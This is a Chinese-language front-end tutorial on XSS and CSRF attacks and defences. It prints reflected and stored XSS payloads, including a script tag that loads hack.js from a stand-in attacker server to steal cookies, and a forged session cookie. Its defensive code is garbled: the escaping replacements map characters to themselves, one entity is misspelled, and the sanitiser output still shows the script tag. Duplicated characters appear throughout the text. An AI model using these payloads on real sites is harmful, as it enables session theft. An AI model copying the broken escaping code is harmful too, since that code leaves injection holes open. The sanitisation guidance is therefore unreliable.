前端常见的Web攻击【XSS、CSRF】

1、XSS（Corss Site Scripting,跨站脚本攻击)

通过存在的安全漏洞的web网址用户的浏览器内运行非法的本站点的HTML标签或者JS的一种方式。换句话来说，就是在该页面内运行不是该页面的js或者html代码的一种攻击。

XSS的脚本攻击的影响：
1、利用虚假的表单信息骗取用户个人信息
2、利利⽤用脚本窃取⽤用户的Cookie值，被害者在不不知情的情况下，帮助攻击者发送恶意请求。
3、显示伪造的图片或者文章 

1、XSS攻击的分类

1、反射型：url参数直接注入

例子1：
// 普通
http://localhost:3000/?from=china
// alert尝试
http://localhost:3000/?from=<script>alert(3)</script>
// 获取Cookie
http://localhost:3000/?from=<script src="http://localhost:4000/hack.js">
</script>
// 短域名伪造 https://dwz.cn/
// 伪造cookie⼊入侵 chrome
document.cookie="kaikeba:sess=eyJ1c2VybmFtZSI6Imxhb3dhbmciLCJfZXhwaXJlIjoxNTUzNTY1MDAxODYxLCJfbWF4QWdlIjo4NjQwMDAwMH0=" 

2、存储型：存储到DB后读取注入

// 评论
<script>alert(1)</script>
// 跨站脚本注⼊入
我来了了<script src="http://localhost:4000/hack.js"></script> 

2、XSS攻击的危害[想干啥就干啥]

• 1、获取页面数据

• 2、获取Cookies

• 3、劫取前端逻辑

• 4、发送请求

• 5、偷取网站的资料和用户的资料

• 6、偷取用户的秘密和登录态

• 7、欺骗用户

3、XSS攻击如何防范

1、CSP(Content Security Policy,安全攻击策略) 是一个附加的安全层。本质上就是建立白名单，开发者明确的告诉浏览器哪些外部资源可以加载和执行。开发者只需要配置规则，如何拦截就靠浏览器执行，可以通过这种方式减少XSS攻击。

• ①Content-Security-Policy: default-src 'self'：只允许加载本站资源* ②Content-Security-Policy: img-src https://* :只允许加载HTTPS协议图片* ③Content-Security-Policy: child-src 'none' :不允许加载任何来源框架 用法：在head中加入meta标签，<meta http-equiv="Content-Security-Policy" content="script-src 'self'"/>> 2、转义

• 1、 黑名单:用户的输入有千千万万，可以对尖括号、斜杠、引号进行转义。str = str.replace(/&/g, '&')str = str.replace(/</g, '<')str = str.replace(/>/g, '>')str = str.replace(/"/g, '&quto;')str = str.replace(/'/g, '&#39;')str = str.replace(/`/g, '&#96;')str = str.replace(/\//g, '&#x2F;') 但是这里有一个问题，如果提交的是一个富文本的情况下，就不能用转义方法。虽然说可以采用上述黑名单的方式进行过滤，但是如果过滤的标签和属性太多的情况下，推荐使用白名单的方式。* 2、白名单：一般情况下会引入xss库const xss = require('xss')let html = xss('<h1 id="title">XSS Demo</h1><script>alert("xss");</script>')console.log(html) //<h1>XSS Demo</h1><script>alert("xss");</script> 3、HttpOnly Cookie 这种方法是预防XSS攻击获取Cookie的最佳解决办法，Web程序在设置Cookie的时候，将其属性设置为HttpOnly就可以避免该⽹网⻚页的cookie被客户端恶意JavaScript窃取，保护⽤用户cookie信息。

2、CSRF(Cross Site Request Forgery,跨站请求伪造)

是一种常⻅见的Web攻击，它利利⽤用⽤用户已登录的身份，在⽤用户毫不不知情的情况下，以⽤用户的名义完成⾮非法操作。 这个攻击的前提是用户必须在攻击网站有登录数据。

1、如何避免CSRF攻击

• 1、使用token:每次登录都需要上传token。* 2、隐藏令牌：类似cookie，但是可以隐藏在请求头中* 3、referer验证：判断页面来源，如果是安全的则执行，不安全则不执行